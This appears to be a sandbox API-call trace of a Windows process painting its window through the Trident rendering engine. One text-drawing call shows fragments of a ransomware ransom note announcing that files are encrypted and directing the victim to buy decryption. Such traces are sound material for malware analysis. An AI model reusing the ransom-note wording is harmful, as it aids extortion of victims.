[0111.131] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0111.131] IntersectRect (in: lprcDst=0x1ce378, lprcSrc1=0x1ce378, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce378) returned 1
[0111.131] IntersectRect (in: lprcDst=0x1ce1bc, lprcSrc1=0x1ce1bc, lprcSrc2=0x1ce058 | out: lprcDst=0x1ce1bc) returned 1
[0111.131] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.131] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x24) returned 0x4b6d08
[0111.131] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1ac | out: lprcDst=0x1cf168) returned 1
[0111.131] IntersectRect (in: lprcDst=0x1ce068, lprcSrc1=0x1ce068, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce068) returned 1
[0111.131] IntersectRect (in: lprcDst=0x1cf168, lprcSrc1=0x1cf168, lprcSrc2=0x1ce1cc | out: lprcDst=0x1cf168) returned 1
[0111.131] LsSetDoc () returned 0x0
[0111.131] LsCreateLine () returned 0x0
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.132] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0111.132] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.132] LsdnFinishRegular () returned 0x0
[0111.132] LsQueryLinePointPcp () returned 0x0
[0111.132] LsDestroyLine () returned 0x0
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.132] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bb328 | out: hHeap=0x450000) returned 1
[0111.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6d08 | out: hHeap=0x450000) returned 1
[0111.133] IntersectRect (in: lprcDst=0x1ce438, lprcSrc1=0x1ce438, lprcSrc2=0x1cf158 | out: lprcDst=0x1ce438) returned 1
[0111.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6cd8 | out: hHeap=0x450000) returned 1
[0111.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6ca8 | out: hHeap=0x450000) returned 1
[0111.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b6c78 | out: hHeap=0x450000) returned 1
[0111.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.133] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0111.133] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0111.133] GetCurrentThreadId () returned 0x4e0
[0111.133] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x200, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0111.133] NtdllDefWindowProc_W () returned 0x0
[0111.133] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0111.134] GetMessageTime () returned 37190
[0111.134] GetMessagePos () returned 0x1c4031f
[0111.134] GetCapture () returned 0x0
[0111.134] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f4 | out: lpPoint=0x1cf3f4) returned 1
[0111.134] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f52e8
[0111.134] GetCurrentThreadId () returned 0x4e0
[0111.134] RtlReAllocateHeap (Heap=0x450000, Flags=0x0, Ptr=0x4bb328, Size=0x18) returned 0x4bc520
[0111.134] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0111.134] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0111.134] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0111.134] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0111.135] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0111.135] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0111.135] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0111.135] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0111.135] ClientToScreen (in: hWnd=0x1013a, lpPoint=0x1cf3f8 | out: lpPoint=0x1cf3f8) returned 1
[0111.135] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xf8) returned 0x4f53e8
[0111.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f53e8 | out: hHeap=0x450000) returned 1
[0111.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0111.135] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x492320, hWnd=0x1013a, msg=0x8004, wParam=0x0, lParam=0x17402e5, plResult=0x1cf4ec | out: plResult=0x1cf4ec) returned 0x1
[0111.135] NtdllDefWindowProc_W () returned 0x0
[0111.135] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4f52e8 | out: hHeap=0x450000) returned 1
[0111.135] GetCurrentThreadId () returned 0x4e0
[0111.135] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.135] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.135] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.136] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf618 | out: lpPoint=0x1cf618) returned 1
[0111.136] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2d40
[0111.136] ScreenToClient (in: hWnd=0x1013a, lpPoint=0x1cf5f8 | out: lpPoint=0x1cf5f8) returned 1
[0111.136] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x30) returned 0x4b2d40
[0111.136] GetCurrentThreadId () returned 0x4e0
[0111.136] IsWinEventHookInstalled (event=0x8005) returned 0
[0111.136] GetCurrentThreadId () returned 0x4e0
[0111.136] GetFocus () returned 0x1013a
[0111.136] GetCurrentThreadId () returned 0x4e0
[0111.136] GetCurrentThreadId () returned 0x4e0
[0111.136] GetCurrentThreadId () returned 0x4e0
[0111.136] GetCurrentThreadId () returned 0x4e0
[0111.137] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.137] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.137] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.137] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.137] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.137] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.137] NtdllDefWindowProc_W () returned 0x0
[0111.137] GetMessageW (in: lpMsg=0x1cf92c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cf92c) returned 1
[0111.137] TranslateMessage (lpMsg=0x1cf92c) returned 0
[0111.137] DispatchMessageW (lpMsg=0x1cf92c) returned 0x0
[0111.137] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.137] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1cf14c, cPoints=0x1 | out: lpPoints=0x1cf14c) returned 5242938
[0111.137] BeginPaint (in: hWnd=0x1013a, lpPaint=0x1cf580 | out: lpPaint=0x1cf580) returned 0x1401007f
[0111.137] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.137] GetCurrentThreadId () returned 0x4e0
[0111.137] GetWindowLongW (hWnd=0x1013a, nIndex=-21) returned 4728424
[0111.137] GetCurrentThreadId () returned 0x4e0
[0111.137] IsRectEmpty (lprc=0x1cf588) returned 0
[0111.137] CreateRectRgnIndirect (lprect=0x732e7be0) returned 0x23040259
[0111.137] GetRandomRgn (hdc=0x1401007f, hrgn=0x23040259, i=4) returned 1
[0111.137] OffsetRgn (hrgn=0x23040259, x=-58, y=-80) returned 2
[0111.138] MapWindowPoints (in: hWndFrom=0x1013a, hWndTo=0x0, lpPoints=0x1cf13c, cPoints=0x1 | out: lpPoints=0x1cf13c) returned 5242938
[0111.138] GetDeviceCaps (hdc=0xa01025b, index=38) returned 32409
[0111.138] IntersectRect (in: lprcDst=0x1cf1fc, lprcSrc1=0x461d2c, lprcSrc2=0x461d1c | out: lprcDst=0x1cf1fc) returned 1
[0111.138] IntersectRect (in: lprcDst=0x1cf1ec, lprcSrc1=0x1cf1ec, lprcSrc2=0x1cf0d8 | out: lprcDst=0x1cf1ec) returned 0
[0111.138] IsRectEmpty (lprc=0x1cf1ec) returned 1
[0111.138] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x48efe0 | out: hHeap=0x450000) returned 1
[0111.138] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x50) returned 0x48efe0
[0111.138] GetDeviceCaps (hdc=0xa01025b, index=38) returned 32409
[0111.138] GetDeviceCaps (hdc=0x1401007f, index=14) returned 1
[0111.138] GetDeviceCaps (hdc=0x1401007f, index=12) returned 32
[0111.139] GetRegionData (in: hrgn=0x23040259, nCount=0x0, lpRgnData=0x0 | out: lpRgnData=0x0) returned 0x30
[0111.139] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.139] GetRegionData (in: hrgn=0x23040259, nCount=0x30, lpRgnData=0x4b2d40 | out: lpRgnData=0x4b2d40) returned 0x30
[0111.139] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x40) returned 0x503ee8
[0111.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x503ee8 | out: hHeap=0x450000) returned 1
[0111.139] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.139] IntersectRect (in: lprcDst=0x1cc824, lprcSrc1=0x1cc824, lprcSrc2=0x1cc7f4 | out: lprcDst=0x1cc824) returned 1
[0111.139] IntersectRect (in: lprcDst=0x1cc754, lprcSrc1=0x1cc754, lprcSrc2=0x1cc724 | out: lprcDst=0x1cc754) returned 1
[0111.140] IntersectRect (in: lprcDst=0x1cc648, lprcSrc1=0x1cc648, lprcSrc2=0x1cc638 | out: lprcDst=0x1cc648) returned 1
[0111.140] GetObjectType (h=0x1401007f) returned 0x3
[0111.140] GetDeviceCaps (hdc=0x1401007f, index=2) returned 1
[0111.140] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.140] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0xc04020f
[0111.140] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.140] SelectClipRgn (hdc=0x1401007f, hrgn=0xc04020f) returned 2
[0111.140] DeleteObject (ho=0xc04020f) returned 1
[0111.140] _CIsqrt () returned 0x3f1a027f
[0111.140] _CIsqrt () returned 0x3f1a027f
[0111.140] _CIatan2 () returned 0x20
[0111.140] _CIatan2 () returned 0x20
[0111.140] GetStockObject (i=8) returned 0x1b00016
[0111.140] SelectObject (hdc=0x1401007f, h=0x1b00016) returned 0x1b00017
[0111.140] GetViewportOrgEx (in: hdc=0x1401007f, lppoint=0x1cc42c | out: lppoint=0x1cc42c) returned 1
[0111.140] SelectObject (hdc=0x1401007f, h=0x40100214) returned 0x1900010
[0111.140] UnrealizeObject (h=0x40100214) returned 1
[0111.140] SetBrushOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0111.140] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.140] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0111.140] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0111.140] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0111.140] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.140] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.140] Polygon (hdc=0x1401007f, apt=0x1cc350, cpt=6) returned 1
[0111.141] SelectObject (hdc=0x1401007f, h=0x51007c0) returned 0x40100214
[0111.141] UnrealizeObject (h=0x51007c0) returned 1
[0111.141] SetBrushOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0111.141] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.141] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0111.141] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0111.141] MulDiv (nNumber=2, nNumerator=0, nDenominator=2) returned 0
[0111.141] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.141] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.141] Polygon (hdc=0x1401007f, apt=0x1cc350, cpt=8) returned 1
[0111.142] SelectObject (hdc=0x1401007f, h=0xa100215) returned 0x51007c0
[0111.142] UnrealizeObject (h=0xa100215) returned 1
[0111.142] SetBrushOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0111.142] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0111.142] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.142] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.142] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.142] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0111.142] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0111.142] Polygon (hdc=0x1401007f, apt=0x1cc350, cpt=6) returned 1
[0111.143] SelectObject (hdc=0x1401007f, h=0x8100210) returned 0xa100215
[0111.143] UnrealizeObject (h=0x8100210) returned 1
[0111.143] SetBrushOrgEx (in: hdc=0x1401007f, x=0, y=0, lppt=0x0 | out: lppt=0x0) returned 1
[0111.143] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0111.143] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.143] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.143] MulDiv (nNumber=2, nNumerator=1, nDenominator=2) returned 1
[0111.143] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0111.143] MulDiv (nNumber=2, nNumerator=2, nDenominator=2) returned 2
[0111.143] Polygon (hdc=0x1401007f, apt=0x1cc350, cpt=8) returned 1
[0111.144] SelectObject (hdc=0x1401007f, h=0x1900010) returned 0x8100210
[0111.144] IntersectRect (in: lprcDst=0x1cc6b0, lprcSrc1=0x1cc6b0, lprcSrc2=0x4967c8 | out: lprcDst=0x1cc6b0) returned 1
[0111.144] GetDeviceCaps (hdc=0x1401007f, index=2) returned 1
[0111.144] DrawThemeBackground () returned 0x0
[0111.144] DrawThemeBackground () returned 0x0
[0111.144] MulDiv (nNumber=13706, nNumerator=0, nDenominator=17700) returned 0
[0111.144] DrawThemeBackground () returned 0x0
[0111.144] DrawThemeBackground () returned 0x0
[0111.144] DrawThemeBackground () returned 0x0
[0111.144] IntersectRect (in: lprcDst=0x1cc788, lprcSrc1=0x1cc788, lprcSrc2=0x4967a8 | out: lprcDst=0x1cc788) returned 1
[0111.144] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.144] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0xd04020f
[0111.144] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.144] SelectClipRgn (hdc=0x1401007f, hrgn=0xd04020f) returned 2
[0111.144] IntersectRect (in: lprcDst=0x1cc55c, lprcSrc1=0x1cc55c, lprcSrc2=0x1cc52c | out: lprcDst=0x1cc55c) returned 1
[0111.144] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1cc54c | out: lprcDst=0x4967b8) returned 1
[0111.144] IntersectRect (in: lprcDst=0x1cc398, lprcSrc1=0x1cc398, lprcSrc2=0x4967a8 | out: lprcDst=0x1cc398) returned 1
[0111.144] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0111.145] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0111.145] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x44) returned 0x49d7b8
[0111.145] IntersectRect (in: lprcDst=0x1c9eec, lprcSrc1=0x1c9eec, lprcSrc2=0x1c9ebc | out: lprcDst=0x1c9eec) returned 1
[0111.145] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.145] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9dc0 | out: lprcDst=0x4967b8) returned 1
[0111.145] IntersectRect (in: lprcDst=0x1c9dc0, lprcSrc1=0x1c9dc0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9dc0) returned 1
[0111.145] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.145] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x30) returned 0x4b2d40
[0111.145] ExtCreateRegion (lpx=0x0, nCount=0x30, lpData=0x4b2d40) returned 0xc040257
[0111.145] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b2d40 | out: hHeap=0x450000) returned 1
[0111.145] SelectClipRgn (hdc=0x90101e7, hrgn=0xc040257) returned 2
[0111.145] DeleteObject (ho=0xc040257) returned 1
[0111.145] SelectObject (hdc=0x90101e7, h=0x51007c0) returned 0x1900010
[0111.145] PatBlt (hdc=0x90101e7, x=2, y=0, w=1303, h=150, rop=0xf00021) returned 1
[0111.145] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x51007c0
[0111.145] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9edc | out: lprcDst=0x4967b8) returned 1
[0111.145] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9efc | out: lprcDst=0x4967b8) returned 1
[0111.145] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x1c9a58 | out: lprcDst=0x1c9a88) returned 1
[0111.145] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9a78 | out: lprcDst=0x496840) returned 1
[0111.145] IntersectRect (in: lprcDst=0x1c9bb4, lprcSrc1=0x1c9bb4, lprcSrc2=0x1c9b84 | out: lprcDst=0x1c9bb4) returned 1
[0111.145] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.145] IntersectRect (in: lprcDst=0x1c9a98, lprcSrc1=0x1c9a98, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a98) returned 0
[0111.145] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9a88 | out: lprcDst=0x4967b8) returned 1
[0111.145] IntersectRect (in: lprcDst=0x1c9a88, lprcSrc1=0x1c9a88, lprcSrc2=0x4967c8 | out: lprcDst=0x1c9a88) returned 1
[0111.145] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.145] IntersectRect (in: lprcDst=0x1c9884, lprcSrc1=0x1cf1ec, lprcSrc2=0x1c9884 | out: lprcDst=0x1c9884) returned 1
[0111.145] SelectObject (hdc=0x90101e7, h=0x1110020a) returned 0x1900010
[0111.145] GetStockObject (i=8) returned 0x1b00016
[0111.145] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.145] GetROP2 (hdc=0x90101e7) returned 13
[0111.145] SetBkMode (hdc=0x90101e7, mode=2) returned 1
[0111.145] Rectangle (hdc=0x90101e7, left=2, top=0, right=1306, bottom=151) returned 1
[0111.146] SetBkMode (hdc=0x90101e7, mode=1) returned 2
[0111.146] SelectObject (hdc=0x90101e7, h=0x1b00016) returned 0x1b00016
[0111.146] SelectObject (hdc=0x90101e7, h=0x1900010) returned 0x1110020a
[0111.146] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9ba4 | out: lprcDst=0x4967b8) returned 1
[0111.146] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c9bc4 | out: lprcDst=0x4967b8) returned 1
[0111.146] IntersectRect (in: lprcDst=0x1c9720, lprcSrc1=0x1c9720, lprcSrc2=0x1c96b0 | out: lprcDst=0x1c9720) returned 1
[0111.146] IntersectRect (in: lprcDst=0x496840, lprcSrc1=0x496840, lprcSrc2=0x1c9740 | out: lprcDst=0x496840) returned 1
[0111.146] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.146] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.146] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.146] IntersectRect (in: lprcDst=0x1c984c, lprcSrc1=0x1c984c, lprcSrc2=0x1c975c | out: lprcDst=0x1c984c) returned 1
[0111.146] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.146] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c986c | out: lprcDst=0x4967b8) returned 1
[0111.146] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c988c | out: lprcDst=0x4967b8) returned 1
[0111.146] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0111.146] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.146] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0111.146] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0111.146] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0111.146] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.146] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.146] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x0
[0111.147] LsSetDoc () returned 0x0
[0111.147] LsCreateLine () returned 0x0
[0111.147] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.147] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x18) returned 0x4bc520
[0111.147] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x4bb328
[0111.147] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.147] LsdnFinishRegular () returned 0x0
[0111.147] LsDisplayLine () returned 0x0
[0111.147] LsDestroyLine () returned 0x0
[0111.148] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc520 | out: hHeap=0x450000) returned 1
[0111.148] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.148] LsSetDoc () returned 0x0
[0111.148] LsCreateLine () returned 0x0
[0111.148] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.149] LsDisplayLine () returned 0x0
[0111.149] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x18a002e
[0111.149] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.149] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.149] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.149] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.149] _CIatan2 () returned 0x20
[0111.149] _CIatan2 () returned 0x20
[0111.149] ExtTextOutW (hdc=0x90101e7, x=393, y=167, options=0x4, lprect=0x1c8498, lpString="All your files have been encrypted! g third party software, it may cause permanent data loss ns', and select the seller by payment method and price. decrypt all your files. ", c=0x23, lpDx=0x1c84d0) returned 1
[0111.149] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.149] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.149] SelectObject (hdc=0x90101e7, h=0x80a0204) returned 0x80a0204
[0111.149] SetTextColor (hdc=0x90101e7, color=0x2000000) returned 0x2000000
[0111.149] SetBkMode (hdc=0x90101e7, mode=1) returned 1
[0111.149] GetTextAlign (hdc=0x90101e7) returned 0x0
[0111.149] SetTextAlign (hdc=0x90101e7, align=0x18) returned 0x0
[0111.149] _CIatan2 () returned 0x20
[0111.149] _CIatan2 () returned 0x20
[0111.149] ExtTextOutW (hdc=0x90101e7, x=914, y=167, options=0x4, lprect=0x1c8498, lpString=" ", c=0x1, lpDx=0x1c84d0) returned 1
[0111.149] SetTextAlign (hdc=0x90101e7, align=0x0) returned 0x18
[0111.149] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.149] LsDestroyLine () returned 0x0
[0111.149] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.149] SelectObject (hdc=0x90101e7, h=0x18a002e) returned 0x80a0204
[0111.150] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.150] IntersectRect (in: lprcDst=0x1c938c, lprcSrc1=0x1c938c, lprcSrc2=0x1c9240 | out: lprcDst=0x1c938c) returned 1
[0111.150] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0111.150] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c938c | out: lprcDst=0x4967b8) returned 1
[0111.150] IntersectRect (in: lprcDst=0x1c92f0, lprcSrc1=0x1c92f0, lprcSrc2=0x4967c8 | out: lprcDst=0x1c92f0) returned 1
[0111.150] IntersectRect (in: lprcDst=0x4967b8, lprcSrc1=0x4967b8, lprcSrc2=0x1c92a4 | out: lprcDst=0x4967b8) returned 1
[0111.150] GetDeviceCaps (hdc=0x90101e7, index=2) returned 1
[0111.150] SetStretchBltMode (hdc=0x90101e7, mode=3) returned 3
[0111.150] CreateCompatibleDC (hdc=0x0) returned 0xc0106d1
[0111.150] SetStretchBltMode (hdc=0xc0106d1, mode=3) returned 1
[0111.150] SelectObject (hdc=0xc0106d1, h=0x50501fe) returned 0x185000f
[0111.150] AlphaBlend () returned 0x1
[0111.150] SelectObject (hdc=0xc0106d1, h=0x185000f) returned 0x50501fe
[0111.150] DeleteDC (hdc=0xc0106d1) returned 1
